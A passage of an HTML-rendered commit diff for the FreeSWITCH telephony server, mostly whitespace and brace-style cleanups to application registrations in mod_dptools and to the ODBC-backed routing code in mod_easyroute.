</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;delay_echo&quot;, &quot;echo audio at a specified delay&quot;, &quot;Delay n ms&quot;, delay_function, &quot;&lt;delay ms&gt;&quot;, SAF_NONE);
</span><span class="lines">@@ -3027,19 +3043,23 @@
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;answer&quot;, &quot;Answer the call&quot;, &quot;Answer the call for a channel.&quot;, answer_function, &quot;&quot;, SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;hangup&quot;, &quot;Hangup the call&quot;, &quot;Hangup the call for a channel.&quot;, hangup_function, &quot;[&lt;cause&gt;]&quot;, SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;set_name&quot;, &quot;Name the channel&quot;, &quot;Name the channel&quot;, set_name_function, &quot;&lt;name&gt;&quot;, SAF_SUPPORT_NOMEDIA);
</span><del>-        SWITCH_ADD_APP(app_interface, &quot;presence&quot;, &quot;Send Presence&quot;, &quot;Send Presence.&quot;, presence_function, &quot;&lt;rpid&gt; &lt;status&gt; [&lt;id&gt;]&quot;, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
-        SWITCH_ADD_APP(app_interface, &quot;log&quot;, &quot;Logs to the logger&quot;, LOG_LONG_DESC, log_function, &quot;&lt;log_level&gt; &lt;log_string&gt;&quot;, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</del><ins>+        SWITCH_ADD_APP(app_interface, &quot;presence&quot;, &quot;Send Presence&quot;, &quot;Send Presence.&quot;, presence_function, &quot;&lt;rpid&gt; &lt;status&gt; [&lt;id&gt;]&quot;,
+                                   SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
+        SWITCH_ADD_APP(app_interface, &quot;log&quot;, &quot;Logs to the logger&quot;, LOG_LONG_DESC, log_function, &quot;&lt;log_level&gt; &lt;log_string&gt;&quot;,
+                                   SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</ins><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;info&quot;, &quot;Display Call Info&quot;, &quot;Display Call Info&quot;, info_function, &quot;&quot;, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;event&quot;, &quot;Fire an event&quot;, &quot;Fire an event&quot;, event_function, &quot;&quot;, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;sound_test&quot;, &quot;Analyze Audio&quot;, &quot;Analyze Audio&quot;, sound_test_function, &quot;&quot;, SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;export&quot;, &quot;Export a channel variable across a bridge&quot;, EXPORT_LONG_DESC, export_function, &quot;&lt;varname&gt;=&lt;value&gt;&quot;,
</span><span class="cx">                                    SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</span><del>-        SWITCH_ADD_APP(app_interface, &quot;set&quot;, &quot;Set a channel variable&quot;, SET_LONG_DESC, set_function, &quot;&lt;varname&gt;=&lt;value&gt;&quot;, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</del><ins>+        SWITCH_ADD_APP(app_interface, &quot;set&quot;, &quot;Set a channel variable&quot;, SET_LONG_DESC, set_function, &quot;&lt;varname&gt;=&lt;value&gt;&quot;,
+                                   SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</ins><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;set_global&quot;, &quot;Set a global variable&quot;, SET_GLOBAL_LONG_DESC, set_global_function, &quot;&lt;varname&gt;=&lt;value&gt;&quot;,
</span><span class="cx">                                    SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;set_profile_var&quot;, &quot;Set a caller profile variable&quot;, SET_PROFILE_VAR_LONG_DESC, set_profile_var_function,
</span><span class="cx">                                    &quot;&lt;varname&gt;=&lt;value&gt;&quot;, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</span><del>-        SWITCH_ADD_APP(app_interface, &quot;unset&quot;, &quot;Unset a channel variable&quot;, UNSET_LONG_DESC, unset_function, &quot;&lt;varname&gt;&quot;, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</del><ins>+        SWITCH_ADD_APP(app_interface, &quot;unset&quot;, &quot;Unset a channel variable&quot;, UNSET_LONG_DESC, unset_function, &quot;&lt;varname&gt;&quot;,
+                                   SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</ins><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;ring_ready&quot;, &quot;Indicate Ring_Ready&quot;, &quot;Indicate Ring_Ready on a channel.&quot;, ring_ready_function, &quot;&quot;, SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;remove_bugs&quot;, &quot;Remove media bugs&quot;, &quot;Remove all media bugs from a channel.&quot;, remove_bugs_function, &quot;&quot;, SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;break&quot;, &quot;Break&quot;, &quot;Set the break flag.&quot;, break_function, &quot;&quot;, SAF_SUPPORT_NOMEDIA);
</span><span class="lines">@@ -3063,21 +3083,22 @@
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;sched_transfer&quot;, SCHED_TRANSF_DESCR, SCHED_TRANSF_DESCR, sched_transfer_function,
</span><span class="cx">                                    &quot;[+]&lt;time&gt; &lt;extension&gt; &lt;dialplan&gt; &lt;context&gt;&quot;, SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;execute_extension&quot;, &quot;Execute an extension&quot;, &quot;Execute an extension&quot;, exe_function, EXE_SYNTAX, SAF_SUPPORT_NOMEDIA);
</span><del>-        SWITCH_ADD_APP(app_interface, &quot;sched_heartbeat&quot;, &quot;Enable Scheduled Heartbeat&quot;, &quot;Enable Scheduled Heartbeat&quot;, 
</del><ins>+        SWITCH_ADD_APP(app_interface, &quot;sched_heartbeat&quot;, &quot;Enable Scheduled Heartbeat&quot;, &quot;Enable Scheduled Heartbeat&quot;,
</ins><span class="cx">                                    sched_heartbeat_function, SCHED_HEARTBEAT_SYNTAX, SAF_SUPPORT_NOMEDIA);
</span><del>-        SWITCH_ADD_APP(app_interface, &quot;enable_heartbeat&quot;, &quot;Enable Media Heartbeat&quot;, &quot;Enable Media Heartbeat&quot;, 
</del><ins>+        SWITCH_ADD_APP(app_interface, &quot;enable_heartbeat&quot;, &quot;Enable Media Heartbeat&quot;, &quot;Enable Media Heartbeat&quot;,
</ins><span class="cx">                                    heartbeat_function, HEARTBEAT_SYNTAX, SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;mkdir&quot;, &quot;Create a directory&quot;, &quot;Create a directory&quot;, mkdir_function, MKDIR_SYNTAX, SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;soft_hold&quot;, &quot;Put a bridged channel on hold&quot;, &quot;Put a bridged channel on hold&quot;, soft_hold_function, SOFT_HOLD_SYNTAX,
</span><span class="cx">                                    SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;bind_meta_app&quot;, &quot;Bind a key to an application&quot;, &quot;Bind a key to an application&quot;, dtmf_bind_function, BIND_SYNTAX,
</span><span class="cx">                                    SAF_SUPPORT_NOMEDIA);
</span><del>-        SWITCH_ADD_APP(app_interface, &quot;unbind_meta_app&quot;, &quot;Unbind a key from an application&quot;, &quot;Unbind a key from an application&quot;, dtmf_unbind_function, 
</del><ins>+        SWITCH_ADD_APP(app_interface, &quot;unbind_meta_app&quot;, &quot;Unbind a key from an application&quot;, &quot;Unbind a key from an application&quot;, dtmf_unbind_function,
</ins><span class="cx">                                    UNBIND_SYNTAX, SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;intercept&quot;, &quot;intercept&quot;, &quot;intercept&quot;, intercept_function, INTERCEPT_SYNTAX, SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;eavesdrop&quot;, &quot;eavesdrop on a uuid&quot;, &quot;eavesdrop on a uuid&quot;, eavesdrop_function, eavesdrop_SYNTAX, SAF_MEDIA_TAP);
</span><del>-        SWITCH_ADD_APP(app_interface, &quot;three_way&quot;, &quot;three way call with a uuid&quot;, &quot;three way call with a uuid&quot;, three_way_function, threeway_SYNTAX, SAF_MEDIA_TAP);
-        SWITCH_ADD_APP(app_interface, &quot;set_user&quot;, &quot;Set a User&quot;, &quot;Set a User&quot;, set_user_function, SET_USER_SYNTAX, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC );
</del><ins>+        SWITCH_ADD_APP(app_interface, &quot;three_way&quot;, &quot;three way call with a uuid&quot;, &quot;three way call with a uuid&quot;, three_way_function, threeway_SYNTAX,
+                                   SAF_MEDIA_TAP);
+        SWITCH_ADD_APP(app_interface, &quot;set_user&quot;, &quot;Set a User&quot;, &quot;Set a User&quot;, set_user_function, SET_USER_SYNTAX, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</ins><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;stop_dtmf&quot;, &quot;stop inband dtmf&quot;, &quot;Stop detecting inband dtmf.&quot;, stop_dtmf_session_function, &quot;&quot;, SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;start_dtmf&quot;, &quot;Detect dtmf&quot;, &quot;Detect inband dtmf on the session&quot;, dtmf_session_function, &quot;&quot;, SAF_MEDIA_TAP);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;stop_dtmf_generate&quot;, &quot;stop inband dtmf generation&quot;, &quot;Stop generating inband dtmf.&quot;,
</span><span class="lines">@@ -3092,11 +3113,11 @@
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;park_state&quot;, &quot;Park State&quot;, &quot;Park State&quot;, park_state_function, &quot;&quot;, SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;gentones&quot;, &quot;Generate Tones&quot;, &quot;Generate tones to the channel&quot;, gentones_function, &quot;&lt;tgml_script&gt;[|&lt;loops&gt;]&quot;, SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;playback&quot;, &quot;Playback File&quot;, &quot;Playback a file to the channel&quot;, playback_function, &quot;&lt;path&gt;&quot;, SAF_NONE);
</span><del>-        SWITCH_ADD_APP(app_interface, &quot;endless_playback&quot;, &quot;Playback File Endlessly&quot;, &quot;Endlessly Playback a file to the channel&quot;, 
</del><ins>+        SWITCH_ADD_APP(app_interface, &quot;endless_playback&quot;, &quot;Playback File Endlessly&quot;, &quot;Endlessly Playback a file to the channel&quot;,
</ins><span class="cx">                                    endless_playback_function, &quot;&lt;path&gt;&quot;, SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;att_xfer&quot;, &quot;Attended Transfer&quot;, &quot;Attended Transfer&quot;, att_xfer_function, &quot;&lt;channel_url&gt;&quot;, SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;read&quot;, &quot;Read Digits&quot;, &quot;Read Digits&quot;, read_function, &quot;&lt;min&gt; &lt;max&gt; &lt;file&gt; &lt;var_name&gt; &lt;timeout&gt; &lt;terminators&gt;&quot;, SAF_NONE);
</span><del>-        SWITCH_ADD_APP(app_interface, &quot;play_and_get_digits&quot;, &quot;Play and get Digits&quot;, &quot;Play and get Digits&quot;, 
</del><ins>+        SWITCH_ADD_APP(app_interface, &quot;play_and_get_digits&quot;, &quot;Play and get Digits&quot;, &quot;Play and get Digits&quot;,
</ins><span class="cx">                                    play_and_get_digits_function, &quot;&lt;min&gt; &lt;max&gt; &lt;tries&gt; &lt;timeout&gt; &lt;terminators&gt; &lt;file&gt; &lt;invalid_file&gt; &lt;var_name&gt; &lt;regexp&gt;&quot;, SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;stop_record_session&quot;, &quot;Stop Record Session&quot;, STOP_SESS_REC_DESC, stop_record_session_function, &quot;&lt;path&gt;&quot;, SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;record_session&quot;, &quot;Record Session&quot;, SESS_REC_DESC, record_session_function, &quot;&lt;path&gt; [+&lt;timeout&gt;]&quot;, SAF_MEDIA_TAP);
</span><span class="lines">@@ -3116,8 +3137,10 @@
</span><span class="cx">                                    SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;say&quot;, &quot;say&quot;, &quot;say&quot;, say_function, SAY_SYNTAX, SAF_NONE);
</span><span class="cx"> 
</span><del>-        SWITCH_ADD_APP(app_interface, &quot;wait_for_silence&quot;, &quot;wait_for_silence&quot;, &quot;wait_for_silence&quot;, wait_for_silence_function, WAIT_FOR_SILENCE_SYNTAX, SAF_NONE);
-        SWITCH_ADD_APP(app_interface, &quot;session_loglevel&quot;, &quot;session_loglevel&quot;, &quot;session_loglevel&quot;, session_loglevel_function, SESSION_LOGLEVEL_SYNTAX, SAF_SUPPORT_NOMEDIA);
</del><ins>+        SWITCH_ADD_APP(app_interface, &quot;wait_for_silence&quot;, &quot;wait_for_silence&quot;, &quot;wait_for_silence&quot;, wait_for_silence_function, WAIT_FOR_SILENCE_SYNTAX,
+                                   SAF_NONE);
+        SWITCH_ADD_APP(app_interface, &quot;session_loglevel&quot;, &quot;session_loglevel&quot;, &quot;session_loglevel&quot;, session_loglevel_function, SESSION_LOGLEVEL_SYNTAX,
+                                   SAF_SUPPORT_NOMEDIA);
</ins><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_DIALPLAN(dp_interface, &quot;inline&quot;, inline_dialplan_hunt);
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_easyroutemod_easyroutec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_easyroute/mod_easyroute.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_easyroute/mod_easyroute.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_easyroute/mod_easyroute.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -38,22 +38,22 @@
</span><span class="cx"> 
</span><span class="cx"> #include &lt;switch.h&gt;
</span><span class="cx"> 
</span><del>-typedef struct easyroute_results{
-        char        limit[16];
-        char        dialstring[256];
-        char        group[16];
-        char        acctcode[17];
-        char        translated[17];
</del><ins>+typedef struct easyroute_results {
+        char limit[16];
+        char dialstring[256];
+        char group[16];
+        char acctcode[17];
+        char translated[17];
</ins><span class="cx"> } easyroute_results_t;
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> typedef struct route_callback {
</span><del>-        char        gateway[129];
-        char        group[129];
-        char        techprofile[129];
-        char        limit[129];
-        char        acctcode[129];
-        char        translated[17];
</del><ins>+        char gateway[129];
+        char group[129];
+        char techprofile[129];
+        char limit[129];
+        char acctcode[129];
+        char translated[17];
</ins><span class="cx"> } route_callback_t;
</span><span class="cx"> 
</span><span class="cx"> static struct {
</span><span class="lines">@@ -97,13 +97,13 @@
</span><span class="cx">         char *cf = &quot;easyroute.conf&quot;;
</span><span class="cx">         switch_xml_t cfg, xml = NULL, param, settings;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(xml = switch_xml_open_cfg(cf, &amp;cfg, NULL))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;open of %s failed\n&quot;, cf);
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((settings = switch_xml_child(cfg, &quot;settings&quot;))) {
</span><span class="cx">                 for (param = switch_xml_child(settings, &quot;param&quot;); param; param = param-&gt;next) {
</span><span class="cx">                         char *var = (char *) switch_xml_attr_soft(param, &quot;name&quot;);
</span><span class="lines">@@ -123,8 +123,8 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
- done:
</del><ins>+
+  done:
</ins><span class="cx">         if (zstr(globals.db_username)) {
</span><span class="cx">                 set_global_db_username(&quot;root&quot;);
</span><span class="cx">         }
</span><span class="lines">@@ -151,7 +151,7 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Opened ODBC Database!\n&quot;);
</span><span class="cx">                 }
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Connected ODBC DSN: %s\n&quot;, globals.db_dsn);
</span><del>-                if (!globals.custom_query){
</del><ins>+                if (!globals.custom_query) {
</ins><span class="cx">                         if (switch_odbc_handle_exec(globals.master_odbc, &quot;select count(*) from numbers&quot;, NULL, NULL) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Cannot find  SQL Database! (Where\'s the numbers table\?\?)\n&quot;);
</span><span class="cx">                         }
</span><span class="lines">@@ -163,7 +163,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Cannot Open ODBC Connection (did you enable it?!)\n&quot;);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- reallydone:
</del><ins>+  reallydone:
</ins><span class="cx"> 
</span><span class="cx">         if (xml) {
</span><span class="cx">                 switch_xml_free(xml);
</span><span class="lines">@@ -177,76 +177,77 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static char SQL_LOOKUP[] = &quot;SELECT gateways.gateway_ip, gateways.group, gateways.limit, gateways.techprofile, numbers.acctcode, numbers.translated from gateways, numbers where numbers.number = '%q' and numbers.gateway_id = gateways.gateway_id limit 1;&quot;;
</del><ins>+static char SQL_LOOKUP[] =
+        &quot;SELECT gateways.gateway_ip, gateways.group, gateways.limit, gateways.techprofile, numbers.acctcode, numbers.translated from gateways, numbers where numbers.number = '%q' and numbers.gateway_id = gateways.gateway_id limit 1;&quot;;
</ins><span class="cx"> 
</span><span class="cx"> static switch_status_t route_lookup(char *dn, easyroute_results_t *results, int noat, char *separator)
</span><del>-{        
</del><ins>+{
</ins><span class="cx">         switch_status_t sstatus = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         char *sql = NULL;
</span><span class="cx">         route_callback_t pdata;
</span><span class="cx"> 
</span><span class="cx">         if (!switch_odbc_available()) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, 
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
</ins><span class="cx">                                                   &quot;mod_easyroute requires core ODBC support. Please refer to the documentation on how to enable this\n&quot;);
</span><span class="cx">                 return sstatus;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         memset(&amp;pdata, 0, sizeof(pdata));
</span><del>-        if (!globals.custom_query){
</del><ins>+        if (!globals.custom_query) {
</ins><span class="cx">                 sql = switch_mprintf(SQL_LOOKUP, dn);
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,  &quot;Doing static Query\n[%s]\n&quot;, sql);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Doing static Query\n[%s]\n&quot;, sql);
</ins><span class="cx">         } else {
</span><span class="cx">                 sql = switch_mprintf(globals.custom_query, dn);
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,  &quot;Doing custom Query\n[%s]\n&quot;, sql);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Doing custom Query\n[%s]\n&quot;, sql);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (globals.mutex){
</del><ins>+        if (globals.mutex) {
</ins><span class="cx">                 switch_mutex_lock(globals.mutex);
</span><span class="cx">         }
</span><span class="cx">         /* Do the Query */
</span><del>-        if (switch_odbc_handle_callback_exec(globals.master_odbc, sql, route_callback, &amp;pdata, NULL) == SWITCH_ODBC_SUCCESS){
</del><ins>+        if (switch_odbc_handle_callback_exec(globals.master_odbc, sql, route_callback, &amp;pdata, NULL) == SWITCH_ODBC_SUCCESS) {
</ins><span class="cx">                 char tmp_profile[129];
</span><span class="cx">                 char tmp_gateway[129];
</span><span class="cx"> 
</span><span class="cx">                 if (zstr(pdata.limit)) {
</span><del>-                        switch_set_string(results-&gt;limit, &quot;9999&quot; );
</del><ins>+                        switch_set_string(results-&gt;limit, &quot;9999&quot;);
</ins><span class="cx">                 } else {
</span><del>-                        switch_set_string(results-&gt;limit, pdata.limit );
</del><ins>+                        switch_set_string(results-&gt;limit, pdata.limit);
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                if (zstr(pdata.techprofile)){
</del><ins>+                if (zstr(pdata.techprofile)) {
</ins><span class="cx">                         switch_set_string(tmp_profile, globals.default_techprofile);
</span><span class="cx">                 } else {
</span><span class="cx">                         switch_set_string(tmp_profile, pdata.techprofile);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                if (zstr(pdata.gateway)){
</del><ins>+                if (zstr(pdata.gateway)) {
</ins><span class="cx">                         switch_set_string(tmp_gateway, globals.default_gateway);
</span><span class="cx">                 } else {
</span><span class="cx">                         switch_set_string(tmp_gateway, pdata.gateway);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                if (zstr(pdata.translated)){
</del><ins>+                if (zstr(pdata.translated)) {
</ins><span class="cx">                         switch_set_string(results-&gt;translated, dn);
</span><span class="cx">                 } else {
</span><span class="cx">                         switch_set_string(results-&gt;translated, pdata.translated);
</span><span class="cx">                 }
</span><span class="cx">                 if (noat) {
</span><del>-                        switch_snprintf(results-&gt;dialstring, 256, &quot;%s/%s%s&quot;, tmp_profile , results-&gt;translated, tmp_gateway);
</del><ins>+                        switch_snprintf(results-&gt;dialstring, 256, &quot;%s/%s%s&quot;, tmp_profile, results-&gt;translated, tmp_gateway);
</ins><span class="cx">                 } else if (separator) {
</span><del>-                        switch_snprintf(results-&gt;dialstring, 256, &quot;%s/%s%s%s&quot;, tmp_profile , results-&gt;translated, separator, tmp_gateway);
</del><ins>+                        switch_snprintf(results-&gt;dialstring, 256, &quot;%s/%s%s%s&quot;, tmp_profile, results-&gt;translated, separator, tmp_gateway);
</ins><span class="cx">                 } else {
</span><del>-                        switch_snprintf(results-&gt;dialstring, 256, &quot;%s/%s@%s&quot;, tmp_profile , results-&gt;translated, tmp_gateway);
</del><ins>+                        switch_snprintf(results-&gt;dialstring, 256, &quot;%s/%s@%s&quot;, tmp_profile, results-&gt;translated, tmp_gateway);
</ins><span class="cx">                 }
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,  &quot;THE ROUTE [%s]\n&quot;, results-&gt;dialstring);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;THE ROUTE [%s]\n&quot;, results-&gt;dialstring);
</ins><span class="cx"> 
</span><del>-                if (zstr(pdata.group)){
</del><ins>+                if (zstr(pdata.group)) {
</ins><span class="cx">                         switch_set_string(results-&gt;group, &quot;&quot;);
</span><span class="cx">                 } else {
</span><span class="cx">                         switch_set_string(results-&gt;group, pdata.group);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                if (zstr(pdata.acctcode)){
</del><ins>+                if (zstr(pdata.acctcode)) {
</ins><span class="cx">                         switch_set_string(results-&gt;acctcode, &quot;&quot;);
</span><span class="cx">                 } else {
</span><span class="cx">                         switch_set_string(results-&gt;acctcode, pdata.acctcode);
</span><span class="lines">@@ -254,11 +255,11 @@
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;DB Error Setting Default Route!\n&quot;);
</span><span class="cx">                 switch_set_string(results-&gt;limit, &quot;9999&quot;);
</span><del>-                if (noat){
</del><ins>+                if (noat) {
</ins><span class="cx">                         switch_snprintf(results-&gt;dialstring, 256, &quot;%s/%s%s&quot;, globals.default_techprofile, dn, globals.default_gateway);
</span><del>-                } else if (separator){
</del><ins>+                } else if (separator) {
</ins><span class="cx">                         switch_snprintf(results-&gt;dialstring, 256, &quot;%s/%s%s%s&quot;, globals.default_techprofile, dn, separator, globals.default_gateway);
</span><del>-                } else { 
</del><ins>+                } else {
</ins><span class="cx">                         switch_snprintf(results-&gt;dialstring, 256, &quot;%s/%s@%s&quot;, globals.default_techprofile, dn, globals.default_gateway);
</span><span class="cx">                 }
</span><span class="cx">                 switch_set_string(results-&gt;group, &quot;&quot;);
</span><span class="lines">@@ -267,7 +268,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_safe_free(sql);
</span><span class="cx"> 
</span><del>-        if (globals.mutex){
</del><ins>+        if (globals.mutex) {
</ins><span class="cx">                 switch_mutex_unlock(globals.mutex);
</span><span class="cx">         }
</span><span class="cx">         return sstatus;
</span><span class="lines">@@ -278,7 +279,7 @@
</span><span class="cx">         int argc = 0;
</span><span class="cx">         char *argv[4] = { 0 };
</span><span class="cx">         char *mydata = NULL;
</span><del>-        char *destnum = NULL; 
</del><ins>+        char *destnum = NULL;
</ins><span class="cx"> 
</span><span class="cx">         int noat = 0;
</span><span class="cx">         char *separator = NULL;
</span><span class="lines">@@ -289,18 +290,18 @@
</span><span class="cx">         if (!channel) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(mydata = switch_core_session_strdup(session, data))) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><span class="cx">                 destnum = argv[0];
</span><span class="cx">                 if (argc == 2) {
</span><span class="cx">                         if (!strcasecmp(argv[1], &quot;noat&quot;)) {
</span><span class="cx">                                 noat = 1;
</span><span class="cx">                         } else if (!strcasecmp(argv[1], &quot;separator&quot;)) {
</span><del>-                                if (argc == 3){
</del><ins>+                                if (argc == 3) {
</ins><span class="cx">                                         switch_set_string(separator, argv[2]);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="lines">@@ -325,7 +326,7 @@
</span><span class="cx">         int noat = 0;
</span><span class="cx">         easyroute_results_t results;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (session) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;This function cannot be called from the dialplan.\n&quot;);
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -337,39 +338,40 @@
</span><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!cmd || !(mydata = strdup(cmd))) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;Usage: easyroute &lt;number&gt;\n&quot;);
</span><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><span class="cx">                 destnum = argv[0];
</span><del>-                if (argc &lt; 1 || argc &gt; 3){
</del><ins>+                if (argc &lt; 1 || argc &gt; 3) {
</ins><span class="cx">                         stream-&gt;write_function(stream, &quot;Invalid Input!\n&quot;);
</span><span class="cx">                         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                         goto done;
</span><del>-                } 
</del><ins>+                }
</ins><span class="cx">                 if (argc == 2) {
</span><span class="cx">                         if (!strcasecmp(argv[1], &quot;noat&quot;)) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Entering noat.\n&quot;);
</span><span class="cx">                                 noat = 1;
</span><span class="cx">                         } else if (!strcasecmp(argv[1], &quot;separator&quot;)) {
</span><del>-                                if (argc == 3){
</del><ins>+                                if (argc == 3) {
</ins><span class="cx">                                         switch_set_string(separator, argv[2]);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!route_lookup(destnum, &amp;results, noat, separator) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;No Match!\n&quot;);
</span><span class="cx">                         status = SWITCH_STATUS_SUCCESS;
